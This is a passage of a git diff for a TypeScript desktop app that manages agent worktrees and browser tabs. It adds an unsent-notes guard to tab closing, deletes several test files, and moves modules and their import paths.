+    const unsentNotes = tab.contentType === 'browser' && hasUnsentBrowserNotes(state, tab.entityId)
+    // Bulk closes keep a tab holding unsent notes open, as they keep pinned tabs.
+    if (command.bulk && unsentNotes) {
+      return true
+    }
     // Why before the pin guard: its prompt takes focus, and the floating panel's reaction reads focus.
     const whenEmptied =
       command.bulk || command.skipEmptyCheck
@@ -189,7 +195,8 @@ export function dispatchWorkspaceTabCommand(command: WorkspaceTabCommand): boole
       guardPinnedTabClose({
         isPinned: tab.isPinned === true,
         tabLabel: resolvePinnedTabLabel(state, target.worktreeId, tab.id),
-        onClose: close
+        onClose: close,
+        unsentNotes
       })
     }
     return true
diff --git a/src/renderer/src/lib/worktree-creation-host-inputs.test.ts b/src/renderer/src/lib/worktree-creation-host-inputs.test.ts
deleted file mode 100644
index 7ebe35faa79..00000000000
--- a/src/renderer/src/lib/worktree-creation-host-inputs.test.ts
+++ /dev/null
@@ -1,58 +0,0 @@
-// @vitest-environment happy-dom
-import { beforeEach, expect, it, vi } from 'vitest'
-import { getDefaultSettings } from '../../../shared/constants'
-import { WORKTREE_CREATE_AGENT_OPTIONS_RUNTIME_CAPABILITY as CREATE_OPTIONS } from '../../../shared/worktree-runtime-capabilities'
-import { prepareQuickComposerStartup } from '@/hooks/composer-state/quick-startup-plan'
-
-const mocks = vi.hoisted(() => ({ call: vi.fn(), supports: vi.fn(), cached: vi.fn() }))
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', () => ({ callRuntimeRpc: mocks.call }))
-vi.mock('@/runtime/rpc/compatibility/runtime-capability-proof', () => ({
-  runtimeEnvironmentSupportsCapability: mocks.supports
-}))
-vi.mock('@/runtime/rpc/compatibility/runtime-compatibility-cache', () => ({
-  readCachedRuntimeEnvironmentCapability: mocks.cached
-}))
-vi.mock('@/store', () => ({ useAppStore: { getState: () => ({}) } }))
-vi.mock('@/runtime/agent-launch-settings/use-host-agent-launch-preferences', () => ({
-  ensureAgentLaunchPreferences: async () => ({
-    agentLaunchChoices: { claude: { model: 'sonnet', options: { effort: 'low' } } }
-  })
-}))
-const input = {
-  agent: 'claude' as const,
-  repoId: 'repo',
-  executionHostId: 'runtime:host' as const,
-  linkedWorkItem: null,
-  note: '',
-  settings: {
-    ...getDefaultSettings('/tmp'),
-    agentCmdOverrides: { claude: '/desktop/claude' },
-    agentDefaultEnv: { claude: { DESKTOP_ONLY: 'yes' } }
-  },
-  launchHost: { kind: 'known' as const, hostKind: 'runtime' as const, platform: 'linux' as const },
-  shell: 'posix' as const,
-  isRemote: true,
-  telemetrySource: undefined
-}
-beforeEach(() => {
-  vi.clearAllMocks()
-  mocks.call.mockResolvedValue({ worktree: { id: 'created' } })
-  mocks.supports.mockImplementation(
-    async (_host: string, capability: string) => capability === CREATE_OPTIONS
-  )
-  mocks.cached.mockReturnValue(true)
-})
-
-it.each([false, null])(
-  'validates desktop Arguments at submit while cached capability is %s',
-  async (cached) => {
-    mocks.cached.mockReturnValue(cached)
-    await expect(
-      prepareQuickComposerStartup({
-        ...input,
-        launchInputs: { sessionOptions: { model: 'opus' } },
-        legacyLaunchInputs: { agentArgs: "'unterminated" }
-      })
-    ).rejects.toThrow()
-  }
-)
diff --git a/src/renderer/src/lib/worktree-creation-recovery-inputs.test.ts b/src/renderer/src/lib/worktree-creation-recovery-inputs.test.ts
deleted file mode 100644
index 15cbc628d01..00000000000
--- a/src/renderer/src/lib/worktree-creation-recovery-inputs.test.ts
+++ /dev/null
@@ -1,99 +0,0 @@
-// @vitest-environment happy-dom
-import { afterEach, expect, it, vi } from 'vitest'
-import type { WorktreeCreationRequest } from '@/lib/workspace/creation/pending-worktree-creation'
-import { buildWorktreeCreationStartupOpt } from '@/lib/workspace/creation/worktree-creation-flow-startup'
-import { ensureWebRuntimeWorktreeTerminalAfterWake } from '@/runtime/hosted-terminals/restoration/web-runtime-worktree-terminal-after-wake'
-import { resetWebRuntimeWakeTerminalRespawnForTests } from '@/runtime/hosted-terminals/restoration/web-runtime-wake-terminal-respawn'
-
-const mocks = vi.hoisted(
-  (): {
-    launch: ReturnType<typeof vi.fn>
-    seedOptions: ReturnType<typeof vi.fn>
-    seedDraft: ReturnType<typeof vi.fn>
-    agent: 'claude' | 'codex'
-  } => ({
-    launch: vi.fn(),
-    seedOptions: vi.fn(),
-    seedDraft: vi.fn(),
-    agent: 'claude'
-  })
-)
-vi.mock('@/lib/agent-session/launch/new-tab/launch-agent-web-host-tab', () => ({
-  launchAgentInWebHostTab: mocks.launch
-}))
-vi.mock('@/lib/workspace/ownership/worktree-runtime-owner', () => ({
-  runtimeEnvironmentIdOrLocalUnlessTwin: () => 'host'
-}))
-vi.mock('@/runtime/web-session-tabs-sync/identity/web-runtime-session-environment', () => ({
-  isWebRuntimeSessionActive: () => true
-}))
-vi.mock('../../../shared/native-chat/input/native-chat-session-option-cache', () => ({
-  seedNativeChatAppliedSessionOptions: mocks.seedOptions
-}))
-vi.mock('@/lib/agent-session/launch/prompt/agent-launch-prompt-delivery', () => ({
-  seedNativeChatLaunchDraftForAgentTab: mocks.seedDraft
-}))
-vi.mock('@/store', () => ({
-  useAppStore: {
-    getState: () => ({
-      getKnownWorktreeById: () => ({ id: 'wt' }),
-      tabsByWorktree: { wt: [{ id: 'agent-tab', launchAgent: mocks.agent }] },
-      ptyIdsByTabId: {}
-    })
-  }
-}))
-
-const request: WorktreeCreationRequest = {
-  repoId: 'repo',
-  name: 'created',
-  agent: 'claude',
-  setupDecision: 'skip',
-  pendingFirstAgentMessageRename: false,
-  note: '',
-  startupPlan: null,
-  quickPrompt: '',
-  quickTelemetry: null,
-  launchDraftPrompt: 'ship it',
-  launchInputs: { agentArgs: '', sessionOptions: { model: 'opus', effort: 'high' } },
-  creationStartup: {
-    legacy: () => {
-      throw new Error('desktop parser reached')
-    },
-    sessionOptions: { model: 'opus', effort: 'high' }
-  }
-}
-afterEach(() => {
-  vi.clearAllMocks()
-  resetWebRuntimeWakeTerminalRespawnForTests()
-})
-
-it('retains a null-plan recovery payload and serializes concurrent after-wake attempts', async () => {
-  const pending = Promise.withResolvers<{ outcome: { status: 'created' } }>()
-  mocks.launch.mockReturnValue(pending.promise)
-  const startup = buildWorktreeCreationStartupOpt(request, false)
-  expect(startup).toMatchObject({
-    launchAgent: 'claude',
-    launchToken: expect.any(String),
-    freshAgentLaunch: {
-      agentArgs: '',
-      sessionOptions: { model: 'opus', effort: 'high' },
-      prompt: 'ship it',
-      promptDelivery: 'draft'
-    }
-  })
-  ensureWebRuntimeWorktreeTerminalAfterWake('wt', { startup, agent: 'claude', activate: false })
-  ensureWebRuntimeWorktreeTerminalAfterWake('wt', { startup, agent: 'claude', activate: false })
-  expect(mocks.launch).toHaveBeenCalledExactlyOnceWith(
-    expect.objectContaining({
-      agentArgs: '',
-      sessionOptions: { model: 'opus', effort: 'high' },
-      prompt: 'ship it',
-      promptDelivery: 'draft',
-      environmentId: 'host',
-      activate: false,
-      selectWorktree: false
-    })
-  )
-  pending.resolve({ outcome: { status: 'created' } })
-  await pending.promise
-})
diff --git a/src/renderer/src/lib/worktree-status-spinner-launch-agent.test.ts b/src/renderer/src/lib/worktree-status-spinner-launch-agent.test.ts
deleted file mode 100644
index d300d7b2425..00000000000
--- a/src/renderer/src/lib/worktree-status-spinner-launch-agent.test.ts
+++ /dev/null
@@ -1,63 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import { buildTitleDerivedAgentRows } from '@/components/sidebar/workspace-card/activity/worktree-title-derived-agent-rows'
-import type {
-  TerminalLayoutSnapshot,
-  TerminalTab
-} from '../../../shared/workspace-layout/terminal-tab-types'
-import { getWorktreeStatus } from './worktree-status'
-
-const LEAF_ID = '11111111-1111-4111-8111-111111111111'
-
-function livePtyMap(...tabIds: string[]): Record<string, string[]> {
-  return Object.fromEntries(tabIds.map((id, i) => [id, [`pty-${i}`]]))
-}
-
-function singleLeafLayout(): TerminalLayoutSnapshot {
-  return {
-    root: { type: 'leaf', leafId: LEAF_ID },
-    activeLeafId: LEAF_ID,
-    titlesByLeafId: {}
-  } as unknown as TerminalLayoutSnapshot
-}
-
-function rowCount(tab: Partial<TerminalTab>, paneTitles?: Record<number, string>): number {
-  return buildTitleDerivedAgentRows({
-    tabs: [{ id: 'tab-1', title: 'bash', ...tab } as TerminalTab],
-    runtimePaneTitlesByTabId: paneTitles ? { 'tab-1': paneTitles } : {},
-    ptyIdsByTabId: livePtyMap('tab-1'),
-    terminalLayoutsByTabId: { 'tab-1': singleLeafLayout() },
-    seenPaneKeys: new Set(),
-    now: 0
-  }).length
-}
-
-// Claude and named-provider titles must produce the same dot/sidebar agreement.
-describe('#9040 spinner attribution matches named-provider dot/row agreement', () => {
-  it('produces a sidebar row alongside the dot, like a named provider does', () => {
-    const spinnerTab = {
-      id: 'tab-1',
-      title: '⠋ implementing the feature',
-      launchAgent: 'claude'
-    } satisfies Partial<TerminalTab>
-    const namedTab = { id: 'tab-1', title: 'claude [working]' }
-
-    expect(getWorktreeStatus([spinnerTab], [], livePtyMap('tab-1'))).toBe('working')
-    expect(rowCount(spinnerTab)).toBe(1)
-    // Control: the pre-existing named-provider path resolves to the same pair.
-    expect(getWorktreeStatus([namedTab], [], livePtyMap('tab-1'))).toBe('working')
-    expect(rowCount(namedTab)).toBe(1)
-  })
-
-  it('agrees for a spinner pane title too', () => {
-    const tab = { id: 'tab-1', title: 'bash', launchAgent: 'claude' } satisfies Partial<TerminalTab>
-    const paneTitles = { 'tab-1': { 0: '⠙ refactoring the parser' } }
-    const layouts = { 'tab-1': singleLeafLayout() }
-
-    expect(
-      getWorktreeStatus([tab], [], livePtyMap('tab-1'), paneTitles, {
-        terminalLayoutsByTabId: layouts
-      })
-    ).toBe('working')
-    expect(rowCount(tab, paneTitles['tab-1'])).toBe(1)
-  })
-})
diff --git a/src/renderer/src/lib/worktree-status.test.ts b/src/renderer/src/lib/worktree-status.test.ts
deleted file mode 100644
index 023cf91e842..00000000000
--- a/src/renderer/src/lib/worktree-status.test.ts
+++ /dev/null
@@ -1,78 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import type { TerminalLayoutSnapshot } from '../../../shared/workspace-layout/terminal-tab-types'
-import { resolveWorktreeStatus } from './worktree-status'
-
-const LEAF_ID_1 = '11111111-1111-4111-8111-111111111111'
-const LEAF_ID_2 = '22222222-2222-4222-8222-222222222222'
-
-// Tests declare live tab IDs; tab.ptyId survives sleep as a wake hint and must not imply liveness.
-function livePtyMap(...tabIds: string[]): Record<string, string[]> {
-  return Object.fromEntries(tabIds.map((id, i) => [id, [`pty-${i}`]]))
-}
-
-function splitLayout(): TerminalLayoutSnapshot {
-  return {
-    root: {
-      type: 'split',
-      direction: 'vertical',
-      first: { type: 'leaf', leafId: LEAF_ID_1 },
-      second: { type: 'leaf', leafId: LEAF_ID_2 }
-    },
-    activeLeafId: LEAF_ID_1,
-    expandedLeafId: null
-  }
-}
-
-describe('resolveWorktreeStatus', () => {
-  it('lets a hook-covered done pane suppress its stale working title', () => {
-    const status = resolveWorktreeStatus({
-      tabs: [{ id: 'tab-1', title: 'claude [working]' }],
-      browserTabs: [],
-      ptyIdsByTabId: livePtyMap('tab-1'),
-      runtimePaneTitlesByTabId: {
-        'tab-1': {
-          1: 'codex [working]',
-          2: 'bash'
-        }
-      },
-      agentStatusPaneIdsByTabId: {
-        'tab-1': new Set([LEAF_ID_1])
-      },
-      terminalLayoutsByTabId: {
-        'tab-1': splitLayout()
-      },
-      hasPermission: false,
-      hasLiveWorking: false,
-      hasLiveDone: true,
-      hasRetainedDone: false
-    })
-
-    expect(status).toBe('done')
-  })
-
-  it('keeps sibling pane working when hook done covers only another pane', () => {
-    const status = resolveWorktreeStatus({
-      tabs: [{ id: 'tab-1', title: 'claude [working]' }],
-      browserTabs: [],
-      ptyIdsByTabId: livePtyMap('tab-1'),
-      runtimePaneTitlesByTabId: {
-        'tab-1': {
-          1: 'bash',
-          2: 'codex [working]'
-        }
-      },
-      agentStatusPaneIdsByTabId: {
-        'tab-1': new Set([LEAF_ID_1])
-      },
-      terminalLayoutsByTabId: {
-        'tab-1': splitLayout()
-      },
-      hasPermission: false,
-      hasLiveWorking: false,
-      hasLiveDone: true,
-      hasRetainedDone: false
-    })
-
-    expect(status).toBe('working')
-  })
-})
diff --git a/src/renderer/src/main.tsx b/src/renderer/src/main.tsx
index 5de344f21d8..8d927a269cd 100644
--- a/src/renderer/src/main.tsx
+++ b/src/renderer/src/main.tsx
@@ -15,13 +15,14 @@ import {
   applyDocumentTheme,
   readCachedPluginAppTheme
 } from './app-shell/appearance/document-theme'
-import { installTypingLatencyDiagnostic } from './lib/typing-latency/diagnostic'
+import { installTypingLatencyDiagnostic } from './diagnostics/typing-latency/diagnostic'
 import { installAppKeyboardRouter } from './lib/keyboard/app-keyboard-router'
 import { shouldEnableReactGrab } from './diagnostics/react-commits/react-grab-dev-gate'
 import { I18nProvider } from './i18n/I18nProvider'
 import { useTranslate } from './i18n/use-translate'
 import { getOrCreateRendererRoot } from './app-shell/startup/react-renderer-root'
-import { primeTerminalWebglAddon } from './lib/pane-manager/pane-webgl-renderer'
+import './lib/pane-manager/terminal-rendering/pane-webgl-renderer'
+import { primeTerminalWebglAddon } from './lib/pane-manager/terminal-rendering/terminal-webgl-addon-loader'
 import { SkillWarningPreviewLauncher } from './components/skills/installation/preview/SkillWarningPreviewLauncher'
 import { installBrowserClientPageRenderer } from './components/browser-pane/browser-client-page-renderer-installation'
 import { registerBrowserClientPageGuestMessageHandler } from './components/browser-pane/browser-client-page-retained-elements'
diff --git a/src/renderer/src/popout.tsx b/src/renderer/src/popout.tsx
index 628cab617a5..f08bb764375 100644
--- a/src/renderer/src/popout.tsx
+++ b/src/renderer/src/popout.tsx
@@ -4,7 +4,6 @@ import './diagnostics/react-commits/react-commit-cascade-observer'
 import './assets/main.css'
 
 import { StrictMode, useEffect } from 'react'
-import { useTranslation } from 'react-i18next'
 import { DashboardPopoutRoot } from './components/dashboard-popout/DashboardPopoutRoot'
 import { RecoverableRenderErrorBoundary } from './components/error-boundaries/RecoverableRenderErrorBoundary'
 import { installRendererCrashDiagnostics } from './diagnostics/crash-reporting/crash-diagnostics'
@@ -104,7 +103,9 @@ function PopoutSettingsSync(): null {
 
 function PopoutRoot(): React.JSX.Element {
   const t = useTranslate()
-  useTranslation()
+  useEffect(() => {
+    document.title = t('auto.main.window.dashboard.popout.window.title', 'Orca Agent Dashboard')
+  }, [t])
   return (
     <RecoverableRenderErrorBoundary
       boundaryId="dashboard-popout.root"
diff --git a/src/renderer/src/lib/pane-manager/client-hosted-browser-row-state.ts b/src/renderer/src/runtime/browser/client-hosting/client-hosted-browser-row-state.ts
similarity index 98%
rename from src/renderer/src/lib/pane-manager/client-hosted-browser-row-state.ts
rename to src/renderer/src/runtime/browser/client-hosting/client-hosted-browser-row-state.ts
index 258753746a3..582d9acda2e 100644
--- a/src/renderer/src/lib/pane-manager/client-hosted-browser-row-state.ts
+++ b/src/renderer/src/runtime/browser/client-hosting/client-hosted-browser-row-state.ts
@@ -3,7 +3,7 @@ import { recomputeOn } from '@/lib/recompute-on'
 import type {
   ClientHostedBrowserRow,
   ClientHostedBrowserRowsEvent
-} from '../../../../shared/client-hosted-browser-rows'
+} from '../../../../../shared/client-hosted-browser-rows'
 
 /** Host UI placeholders for pages rendered on paired clients own no page. Keep derived module state outside persisted tab/browser stores or restart/runtime projection would resurrect them as host-local tabs. */
 
diff --git a/src/renderer/src/lib/staged-browser-frame-handover.ts b/src/renderer/src/runtime/browser/creation/staged-browser-frame-handover.ts
similarity index 100%
rename from src/renderer/src/lib/staged-browser-frame-handover.ts
rename to src/renderer/src/runtime/browser/creation/staged-browser-frame-handover.ts
diff --git a/src/renderer/src/runtime/browser/creation/web-runtime-browser-creation-context.ts b/src/renderer/src/runtime/browser/creation/web-runtime-browser-creation-context.ts
index d4ae21ae5cd..c21b2d65bf4 100644
--- a/src/renderer/src/runtime/browser/creation/web-runtime-browser-creation-context.ts
+++ b/src/renderer/src/runtime/browser/creation/web-runtime-browser-creation-context.ts
@@ -1,7 +1,6 @@
-import { subscribeLinkOpenRequests } from '../../../lib/link-open-request'
-import type { BrowserClientHostPlacementPreference } from '../../../../../shared/browser/client-hosting/browser-client-host-placement'
+import { subscribeLinkOpenRequests } from '../../../lib/links/link-open-request'
 import { BROWSER_TAB_CREATE_KNOWN_ID_RUNTIME_CAPABILITY } from '../../../../../shared/browser/runtime/browser-runtime-capabilities'
-import { assertRuntimeManagedBrowserCreationAvailable } from '../../../lib/client-creation-action-policy'
+import { assertRuntimeManagedBrowserCreationAvailable } from '../../../lib/workspace/creation/surface-policy/client-creation-action-policy'
 import { createNonSecureContextUuid as createBrowserUuid } from '../../../../../shared/non-secure-context-uuid'
 import { useAppStore } from '../../../store/index'
 import {
@@ -19,9 +18,9 @@ import {
 import {
   rehomeStagedWebRuntimeBrowserTab,
   restageWebRuntimeBrowserTabHostingIntent,
-  stageWebRuntimeBrowserTab,
-  type StagedWebRuntimeBrowserTab
+  stageWebRuntimeBrowserTab
 } from './web-runtime-browser-tab-staging'
+import type { StagedWebRuntimeBrowserTab } from './web-runtime-browser-tab-staging'
 import { throwIfE2eWebRuntimeBrowserCapabilityUnavailable } from './testing/web-runtime-browser-creation-e2e-fault'
 import { expectsBrowserClientHosting } from '../../../../../shared/browser/client-hosting/browser-client-hosting-eligibility'
 import {
@@ -30,6 +29,7 @@ import {
   matchesWebSessionIntentOwner
 } from '../../web-session-tabs-sync/identity/web-runtime-session-environment'
 import { selectWebRuntimeSessionBrowserWorktree } from '../../web-session-tabs-sync/workspace-selection/web-runtime-session-workspace-selection'
+import type { BrowserClientHostPlacementPreference } from '../../../../../shared/browser/client-hosting/browser-client-host-placement'
 
 export type CreateWebRuntimeSessionBrowserTabArgs = {
   worktreeId: string
diff --git a/src/renderer/src/runtime/browser/creation/web-runtime-browser-creation-placement.test.ts b/src/renderer/src/runtime/browser/creation/web-runtime-browser-creation-placement.test.ts
index 1f3de159483..0465df1a13a 100644
--- a/src/renderer/src/runtime/browser/creation/web-runtime-browser-creation-placement.test.ts
+++ b/src/renderer/src/runtime/browser/creation/web-runtime-browser-creation-placement.test.ts
@@ -12,7 +12,6 @@ import {
   AFTER,
   G1,
   G2,
-  HOST,
   OTHER,
   SOURCE,
   flushMicrotasks,
@@ -26,7 +25,6 @@ import {
   seedPairedWorktree,
   wrapperForRemotePage
 } from './testing/web-runtime-browser-creation-placement-test-rig'
-import { stubRuntimeEnvironmentBridge } from '../../rpc/testing/runtime-environment-bridge-fixture'
 
 vi.mock(
   '../../web-session-tabs-sync/inventory/web-runtime-session-snapshot',
@@ -56,14 +54,12 @@ function g1Group() {
 }
 
 describe('paired browser creation placement', () => {
-  let runtimeCall: ReturnType<typeof installRuntimeTransport>
-
   beforeEach(() => {
     resetWebSessionTabsSyncTestState()
     resetWebSessionBrowserPlacementsForTests()
     resetHostPages()
     seedPairedWorktree()
-    runtimeCall = installRuntimeTransport()
+    installRuntimeTransport()
   })
 
   afterEach(() => {
@@ -115,68 +111,6 @@ describe('paired browser creation placement', () => {
     expect(g1Group()?.recentTabIds).toEqual([SOURCE.unifiedTabId])
   })
 
-  it('stages the store Group New Browser Tab command before its first await', async () => {
-    useAppStore.setState({
-      browserDefaultUrl: 'about:blank',
-      repos: [
-        {
-          id: 'repo',
-          path: '/repo',
-          displayName: 'Repo',
-          badgeColor: '#000000',
-          addedAt: 1,
-          connectionId: null,
-          executionHostId: HOST
-        }
-      ],
-      worktreesByRepo: {
-        repo: [
-          {
-            id: WT,
-            repoId: 'repo',
-            path: '/worktree',
-            head: 'abc',
-            branch: 'main',
-            isBare: false,
-            isMainWorktree: false,
-            displayName: 'Worktree',
-            comment: '',
-            linkedIssue: null,
-            linkedPR: null,
-            linkedLinearIssue: null,
-            isArchived: false,
-            isUnread: false,
-            isPinned: false,
-            sortOrder: 0,
-            lastActivityAt: 1
-          }
-        ]
-      }
-    })
-    const open = useAppStore.getState().openNewBrowserTabInActiveWorkspace(G1)
-    const order = groupOrder(G1)
-    expect(order.slice(0, 2)).toEqual([SOURCE.unifiedTabId, AFTER.unifiedTabId])
-    expect(order).toHaveLength(3)
-    const created = order[2]
-    await flushMicrotasks()
-    expect(pendingCreates[0].params).toMatchObject({ targetGroupId: G1 })
-    expect(wrapperForRemotePage(pendingCreates[0].params.page!)?.id).toBe(created)
-    pendingCreates[0].resolve()
-    await open
-    expect(groupOrder(G1)).toEqual([SOURCE.unifiedTabId, AFTER.unifiedTabId, created])
-  })
-
-  it('keeps a staged row the user dragged elsewhere through adoption', async () => {
-    const create = openLinkFromSource()
-    const pageId = pendingCreates[0].params.page!
-    const staged = wrapperForRemotePage(pageId)!.id
-    useAppStore.getState().moveUnifiedTabToGroup(staged, G2)
-    pendingCreates[0].resolve()
-    await expect(create).resolves.toBe(true)
-    expect(groupOrder(G2)).toContain(staged)
-    expect(groupOrder(G1)).toEqual([SOURCE.unifiedTabId, AFTER.unifiedTabId])
-  })
-
   it('does not reclaim focus after the user selects another tab mid-create', async () => {
     const create = openLinkFromSource({ focusOnCreate: true })
     const staged = wrapperForRemotePage(pendingCreates[0].params.page!)!.id
@@ -190,41 +124,6 @@ describe('paired browser creation placement', () => {
     expect(useAppStore.getState().activeWorktreeId).toBe(WT)
   })
 
-  it('stages before a deferred hosting preparation resolves', async () => {
-    let answerPreparation!: (placement: { kind: 'server' }) => void
-    const prepare = vi.fn(
-      () =>
-        new Promise<{ kind: 'server' }>((resolve) => {
-          answerPreparation = resolve
-        })
-    )
-    stubRuntimeEnvironmentBridge({ call: runtimeCall, prepareBrowserClientHostPlacement: prepare })
-    const create = openLinkFromSource({ placementPreference: 'auto' })
-    const stagedRows = groupOrder(G1)
-    expect(stagedRows).toHaveLength(3)
-    useAppStore.getState().focusGroup(WT, G2)
-    await flushMicrotasks()
-    answerPreparation({ kind: 'server' })
-    await flushMicrotasks()
-    pendingCreates[0].resolve()
-    await expect(create).resolves.toBe(true)
-    expect(groupOrder(G1)).toEqual(stagedRows)
-    expect(useAppStore.getState().activeGroupIdByWorktree[WT]).toBe(G2)
-  })
-
-  it('rehomes a staged row in place when an older host answers with its own id first', async () => {
-    useAppStore.setState({
-      runtimeStatusByEnvironmentId: runtimeStatusesFor(['browser.screencast.v1'])
-    })
-    const create = openLinkFromSource()
-    const staged = groupOrder(G1)[1]
-    expect(pendingCreates[0].params.page).toBeUndefined()
-    pendingCreates[0].resolve('host-minted-page')
-    await expect(create).resolves.toBe(true)
-    expect(groupOrder(G1)).toEqual([SOURCE.unifiedTabId, staged, AFTER.unifiedTabId])
-    expect(wrapperForRemotePage('host-minted-page')?.id).toBe(staged)
-  })
-
   it('keeps the mirrored row and discards the stage when an older host mirrors first', async () => {
     useAppStore.setState({
       runtimeStatusByEnvironmentId: runtimeStatusesFor(['browser.screencast.v1'])
@@ -247,29 +146,4 @@ describe('paired browser creation placement', () => {
     publishHostSnapshot()
     expect(useAppStore.getState().unifiedTabsByWorktree[WT]).toHaveLength(4)
   })
-
-  it('falls back to ordinary adoption without adjacency when staging fails', async () => {
-    const createBrowserTab = useAppStore.getState().createBrowserTab
-    const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})
-    useAppStore.setState({
-      createBrowserTab: () => {
-        throw new Error('staging refused')
-      }
-    })
-    try {
-      const create = openLinkFromSource()
-      expect(groupOrder(G1)).toEqual([SOURCE.unifiedTabId, AFTER.unifiedTabId])
-      useAppStore.setState({ createBrowserTab })
-      pendingCreates[0].resolve()
-      await expect(create).resolves.toBe(true)
-      const adopted = wrapperForRemotePage(pendingCreates[0].params.page!)
-      expect(adopted).toBeDefined()
-      expect(
-        useAppStore.getState().unifiedTabsByWorktree[WT]!.filter((tab) => tab.id === adopted!.id)
-      ).toHaveLength(1)
-      expect(groupOrder(G1).indexOf(adopted!.id)).not.toBe(1)
-    } finally {
-      warn.mockRestore()
-    }
-  })
 })
diff --git a/src/renderer/src/runtime/browser/creation/web-runtime-browser-creation.ts b/src/renderer/src/runtime/browser/creation/web-runtime-browser-creation.ts
index 31bfcebb212..767c9680917 100644
--- a/src/renderer/src/runtime/browser/creation/web-runtime-browser-creation.ts
+++ b/src/renderer/src/runtime/browser/creation/web-runtime-browser-creation.ts
@@ -1,6 +1,3 @@
-import type { BrowserPageCreationPlacement } from '../../../../../shared/browser/client-hosting/browser-client-host-placement'
-import type { RuntimeRpcResponse } from '../../../../../shared/runtime-rpc-envelope'
-import type { BrowserTabCreateResult } from '../../../../../shared/browser/runtime/runtime-browser-contracts'
 import { translate } from '../../../i18n/i18n'
 import { useAppStore } from '../../../store/index'
 import { hasRuntimeRpcErrorCode } from '../../../../../shared/runtime-rpc-error-code'
@@ -19,9 +16,9 @@ import {
   rehomeWebRuntimeBrowserCreation,
   resolveWebRuntimeBrowserClientTargetGroupId,
   restageWebRuntimeBrowserCreation,
-  stageWebRuntimeBrowserCreation,
-  type CreateWebRuntimeSessionBrowserTabArgs
+  stageWebRuntimeBrowserCreation
 } from './web-runtime-browser-creation-context'
+import type { CreateWebRuntimeSessionBrowserTabArgs } from './web-runtime-browser-creation-context'
 import {
   finishWebRuntimeBrowserCreationFailure,
   prepareWebRuntimeBrowserCreationFailure
@@ -36,7 +33,10 @@ import { registerPairedBrowserTabCreator } from '../../../store/slices/browser/t
 import {
   forgetStagedBrowserTabHandover,
   wasStagedBrowserTabHandedToFrames
-} from '@/lib/staged-browser-frame-handover'
+} from '@/runtime/browser/creation/staged-browser-frame-handover'
+import type { BrowserPageCreationPlacement } from '../../../../../shared/browser/client-hosting/browser-client-host-placement'
+import type { RuntimeRpcResponse } from '../../../../../shared/runtime-rpc-envelope'
+import type { BrowserTabCreateResult } from '../../../../../shared/browser/runtime/runtime-browser-contracts'
 
 export async function createWebRuntimeSessionBrowserTab(
   args: CreateWebRuntimeSessionBrowserTabArgs
diff --git a/src/renderer/src/runtime/browser/creation/web-runtime-browser-link-open.test.ts b/src/renderer/src/runtime/browser/creation/web-runtime-browser-link-open.test.ts
index ea6cf567c39..2a06e8ef3bf 100644
--- a/src/renderer/src/runtime/browser/creation/web-runtime-browser-link-open.test.ts
+++ b/src/renderer/src/runtime/browser/creation/web-runtime-browser-link-open.test.ts
@@ -1,20 +1,18 @@
-import type * as BrowserFocusModule from '@/components/browser-pane/host-guest/browser-focus'
 import { requestBrowserFocus } from '@/components/browser-pane/host-guest/browser-focus'
-import type { BrowserSessionProfile } from '../../../../../shared/browser-workspace-types'
+import type * as BrowserFocusModule from '@/components/browser-pane/host-guest/browser-focus'
 import '../../../store/testing/app-store-test-fixture'
 import { getDefaultSettings } from '../../../../../shared/constants'
 import '../../../../../shared/session-tabs-runtime-capabilities'
 import '../../../../../shared/protocol-version'
-import { canOfferHttpLinkGroupAction } from '../../../lib/browser/navigation/http-link-in-group-availability'
+import '../../../lib/browser/navigation/http-link-in-group-availability'
 import { createWebRuntimeSessionBrowserTab } from './web-runtime-browser-creation'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type * as SnapshotModule from '../../web-session-tabs-sync/inventory/web-runtime-session-snapshot'
 import { useAppStore } from '../../../store/index'
-import { openWorkspaceBrowserTabForLink } from '../../../lib/browser/workspace/workspace-browser-tab-open'
 import * as workspaceBrowserTabOpen from '../../../lib/browser/workspace/workspace-browser-tab-open'
+import { openWorkspaceBrowserTabForLink } from '../../../lib/browser/workspace/workspace-browser-tab-open'
 import { openHttpLink } from '../../../lib/browser/navigation/http-link-routing'
-import { captureLinkOpenIntent } from '../../../lib/link-open-intent'
-import { beginLinkOpenRequest } from '../../../lib/link-open-request'
+import { captureLinkOpenIntent } from '../../../lib/links/placement/link-open-intent'
+import { beginLinkOpenRequest } from '../../../lib/links/link-open-request'
 import { makeWorktree } from '../../../store/slices/worktrees/worktree.test-fixture'
 import { TEST_REPO } from '../../../store/repos/repo.test-fixture'
 import { resetWebSessionBrowserPlacementsForTests } from '../placement/web-session-browser-placement'
@@ -37,6 +35,7 @@ import {
 } from './testing/web-runtime-browser-creation-placement-test-rig'
 import { captureWebSessionIntentOwner } from '../../web-session-tabs-sync/identity/web-runtime-session-environment'
 import { peekWebSessionFocusIntent } from '../../web-session-tabs-sync/navigation/web-session-focus-intent'
+import type * as SnapshotModule from '../../web-session-tabs-sync/inventory/web-runtime-session-snapshot'
 
 vi.mock('@/components/browser-pane/host-guest/browser-focus', async (importOriginal) => ({
   ...(await importOriginal<typeof BrowserFocusModule>()),
@@ -129,76 +128,6 @@ describe('runtime link opens through staging and materialization', () => {
     expect(requestBrowserFocus).not.toHaveBeenCalled()
   })
 
-  it('stages in the visible browser group and returns the reconciled host page identity', async () => {
-    const creating = open()
-    expect(pendingCreates).toHaveLength(1)
-    const provisional = pendingCreates[0]!.params.page
-    expect(pendingCreates[0]!.params.targetGroupId).toBe(G2)
-    expect(wrapperForRemotePage(provisional!)?.groupId).toBe(G2)
-    pendingCreates[0]!.resolve('actual-host-page')
-    const outcome = await creating
-    expect(outcome).toMatchObject({
-      status: 'opened',
-      result: { groupId: G2, executionHostId: HOST, worktreeId: WT }
-    })
-    if (outcome.status !== 'opened') {
-      throw new Error('Expected open')
-    }
-    expect(outcome.result.unifiedTabId).toBe(wrapperForRemotePage('actual-host-page')?.id)
-    expect(
-      useAppStore.getState().remoteBrowserPageHandlesByPageId[outcome.result.browserPageId]
-    ).toMatchObject({ remotePageId: 'actual-host-page', environmentId: ENV })
-  })
-
-  it('offers explicit runtime reuse only when a matching pinned page proves the route and session', async () => {
-    const state = useAppStore.getState()
-    const profile: BrowserSessionProfile = {
-      id: 'default',
-      scope: 'default',
-      partition: 'persist:remote-default',
-      label: 'Default',
